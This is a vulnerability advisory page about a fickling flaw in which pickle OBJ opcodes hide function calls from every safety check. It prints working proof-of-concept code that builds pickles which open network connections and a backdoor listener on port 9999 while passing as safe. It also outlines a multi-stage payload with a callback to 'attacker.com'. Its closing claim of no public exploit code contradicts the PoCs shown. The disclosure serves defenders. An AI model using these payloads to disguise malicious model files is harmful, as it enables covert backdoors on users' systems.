GHSA-mxhj-88fx-4pcv Fickling: OBJ opcode call invisibility bypasses all safety checks

Not scored Published 24 Feb 2026

Fickling fails to detect dangerous pickle operations using OBJ opcodes, allowing malicious code execution to bypass safety checks.

Exploited in the wild: Not known
Login needed: Not needed
Attackable: Over the internet
Victim action needed: A user has to click or open something
Fix: Available

What is GHSA-mxhj-88fx-4pcv?

GHSA-mxhj-88fx-4pcv is a vulnerability in fickling, published on 24 Feb 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

Official description

Assessment

The interpreter so it behaves closer to CPython when dealing with OBJ, NEWOBJ, and NEWOBJ_EX opcodes (https://github.com/trailofbits/fickling/commit/ff423dade2bb1f72b2b48586c022fac40cbd9a4a).

Original report

Summary

All 5 of fickling's safety interfaces – is_likely_safe(), check_safety(), CLI --check-safety, always_check_safety(), and the check_safety() context manager – report LIKELY_SAFE / raise no exceptions for pickle files that use the OBJ opcode to call dangerous stdlib functions (signal handlers, network servers, network connections, file operations). The OBJ opcode's implementation in fickling pushes function calls directly onto the interpreter stack without persisting them to the AST via new_variable(). When the result is discarded with POP, the call vanishes from the final AST entirely, making it invisible to all 9 analysis passes.

This is a separate vulnerability from the REDUCE+BUILD bypass, with a different root cause. It survives all three proposed fixes for the REDUCE+BUILD vulnerability.

Details

The vulnerability is a single missing new_variable() call in Obj.run() (fickle.py:1333-1350).

REDUCE (fickle.py:1286-1301) correctly persists calls to the AST:

# Line 1300: call IS saved to module_body
var_name = interpreter.new_variable(call)
interpreter.stack.append(ast.Name(var_name, ast.Load()))

The comment on lines 1296-1299 explicitly states: "if we just save it to the stack, then it might not make it to the final AST unless the stack value is actually used."

OBJ (fickle.py:1333-1350) does exactly what that comment warns against:

# Line 1348: call is ONLY on the stack, NOT in module_body
interpreter.stack.append(ast.Call(kls, args, []))

When the OBJ result is discarded by POP, the ast.Call is gone. The decompiled AST shows the import but no function call:

from smtplib import SMTP    # import present (from STACK_GLOBAL)
result = None              # no call to SMTP visible

Yet at runtime, SMTP('127.0.0.1') executes and opens a TCP connection.

NEWOBJ (fickle.py:1411-1420) and NEWOBJ_EX (fickle.py:1423-1433) have the same code pattern but are less exploitable since CPython's NEWOBJ calls cls.__new__() (allocation only) while OBJ calls cls(*args) (full constructor execution with __init__ side effects).

Affected versions

All versions through 0.1.7 (latest as of 2026-02-19).

Affected APIs

fickling.is_likely_safe() - returns True for bypass payloads
fickling.analysis.check_safety() - returns AnalysisResults with severity = Severity.LIKELY_SAFE
fickling --check-safety CLI - exits with code 0
fickling.always_check_safety() + pickle.load() - no UnsafeFileError raised, malicious code executes
fickling.check_safety() context manager + pickle.load() - no UnsafeFileError raised, malicious code executes

PoC

A pickle that opens a TCP connection to an attacker's server via OBJ+POP, yet fickling reports it as LIKELY_SAFE:

import io, struct

def sbu(s):
    &#34;&#34;&#34;SHORT_BINUNICODE opcode helper.&#34;&#34;&#34;
    b = s.encode()
    return b&#34;\x8c&#34; + struct.pack(&#34;&lt;B&#34;, len(b)) + b

def make_obj_pop_bypass():
    &#34;&#34;&#34;
    Pickle that calls smtplib.SMTP(&#39;127.0.0.1&#39;) at runtime,
    but the call is invisible to fickling.

    Opcode sequence:
        MARK
          STACK_GLOBAL &#39;smtplib&#39; &#39;SMTP&#39;   (import persisted to AST)
          SHORT_BINUNICODE &#39;127.0.0.1&#39;    (argument)
        OBJ                               (call SMTP(&#39;127.0.0.1&#39;), push result)
                                          (ast.Call on stack only, NOT in AST)
        POP                               (discard result -&gt; call GONE)
        NONE
        STOP
    &#34;&#34;&#34;
    buf = io.BytesIO()
    buf.write(b&#34;\x80\x04\x95&#34;)  # PROTO 4 + FRAME

    payload = io.BytesIO()
    payload.write(b&#34;(&#34;)                              # MARK
    payload.write(sbu(&#34;smtplib&#34;) + sbu(&#34;SMTP&#34;))      # push module + func strings
    payload.write(b&#34;\x93&#34;)                            # STACK_GLOBAL
    payload.write(sbu(&#34;127.0.0.1&#34;))                   # push argument
    payload.write(b&#34;o&#34;)                               # OBJ: call SMTP(&#39;127.0.0.1&#39;)
    payload.write(b&#34;0&#34;)                               # POP: discard result
    payload.write(b&#34;N.&#34;)                              # NONE + STOP

    frame_data = payload.getvalue()
    buf.write(struct.pack(&#34;&lt;Q&#34;, len(frame_data)))
    buf.write(frame_data)
    return buf.getvalue()

import fickling, tempfile, os
data = make_obj_pop_bypass()
path = os.path.join(tempfile.mkdtemp(), &#34;bypass.pkl&#34;)
with open(path, &#34;wb&#34;) as f:
    f.write(data)

print(fickling.is_likely_safe(path))
# Output: True  &lt;-- BYPASSED (network connection invisible to fickling)

fickling decompiles this to:

from smtplib import SMTP
result = None

Yet at runtime, SMTP('127.0.0.1') executes and opens a TCP connection.

CLI verification:

$ fickling --check-safety bypass.pkl; echo &#34;EXIT: $?&#34;
EXIT: 0    # BYPASSED

Comparison with REDUCE (same function, detected):

$ fickling --check-safety reduce_smtp.pkl; echo &#34;EXIT: $?&#34;
Warning: Fickling detected that the pickle file may be unsafe.
EXIT: 1    # DETECTED

Backdoor listener PoC (most impactful)

A pickle that opens a TCP listener on port 9999, binding to all interfaces:

import io, struct

def sbu(s):
    b = s.encode()
    return b&#34;\x8c&#34; + struct.pack(&#34;&lt;B&#34;, len(b)) + b

def binint(n):
    return b&#34;J&#34; + struct.pack(&#34;&lt;i&#34;, n)

def make_backdoor():
    buf = io.BytesIO()
    buf.write(b&#34;\x80\x04\x95&#34;)  # PROTO 4 + FRAME

    payload = io.BytesIO()
    # OBJ+POP: TCPServer((&#39;0.0.0.0&#39;, 9999), BaseRequestHandler)
    payload.write(b&#34;(&#34;)                                          # MARK
    payload.write(sbu(&#34;socketserver&#34;) + sbu(&#34;TCPServer&#34;) + b&#34;\x93&#34;)  # STACK_GLOBAL
    payload.write(b&#34;(&#34;)                                          # MARK (inner tuple)
    payload.write(sbu(&#34;0.0.0.0&#34;))                                # host
    payload.write(binint(9999))                                  # port
    payload.write(b&#34;t&#34;)                                          # TUPLE
    payload.write(sbu(&#34;socketserver&#34;) + sbu(&#34;BaseRequestHandler&#34;) + b&#34;\x93&#34;)  # handler
    payload.write(b&#34;o&#34;)                                          # OBJ
    payload.write(b&#34;0&#34;)                                          # POP
    payload.write(b&#34;N.&#34;)                                         # NONE + STOP

    frame_data = payload.getvalue()
    buf.write(struct.pack(&#34;&lt;Q&#34;, len(frame_data)))
    buf.write(frame_data)
    return buf.getvalue()

import fickling
data = make_backdoor()
with open(&#34;/tmp/backdoor.pkl&#34;, &#34;wb&#34;) as f:
    f.write(data)

print(fickling.is_likely_safe(&#34;/tmp/backdoor.pkl&#34;))
# Output: True  &lt;-- BYPASSED

import pickle, socket
server = pickle.loads(data)
# Port 9999 is now LISTENING on all interfaces

s = socket.socket()
s.connect((&#34;127.0.0.1&#34;, 9999))
print(&#34;Connected to backdoor port!&#34;)  # succeeds
s.close()
server.server_close()

Multi-stage combined PoC

A single pickle combining signal suppression + backdoor listener + outbound callback + file persistence:

# All four operations in one pickle, all invisible to fickling:
# 1. signal.signal(SIGTERM, SIG_IGN) - suppress graceful shutdown
# 2. socketserver.TCPServer((&#39;0.0.0.0&#39;, 9999), BaseRequestHandler) - backdoor
# 3. smtplib.SMTP(&#39;attacker.com&#39;) - C2 callback
# 4. sqlite3.connect(&#39;/tmp/.marker&#39;) - persistence marker

# fickling reports: LIKELY_SAFE
# All 4 operations execute at runtime

always_check_safety() verification:

import fickling, pickle

fickling.always_check_safety()
with open(&#34;poc_obj_multi.pkl&#34;, &#34;rb&#34;) as f:
    result = pickle.load(f)
# No UnsafeFileError raised -- all 4 malicious operations executed

Impact

An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demo

Which versions are affected by GHSA-mxhj-88fx-4pcv?

2 open source packages ship an affected version, including fickling.

Package	Affected	Fixed in
`fickling` PyPI	All versions	`0.1.8`
`fickling` PyPI	All versions	`0.1.8`

How do I fix GHSA-mxhj-88fx-4pcv?

Upgrade fickling to 0.1.8 or later.

Is GHSA-mxhj-88fx-4pcv being exploited?

There is no known exploitation of GHSA-mxhj-88fx-4pcv in the wild and no public exploit code.